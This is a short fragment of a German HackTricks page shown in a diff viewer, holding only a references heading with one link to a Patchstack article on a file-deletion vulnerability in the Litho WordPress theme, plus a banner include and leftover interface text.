		||||
## Referenzen
 | 
			
		||||
 | 
			
		||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user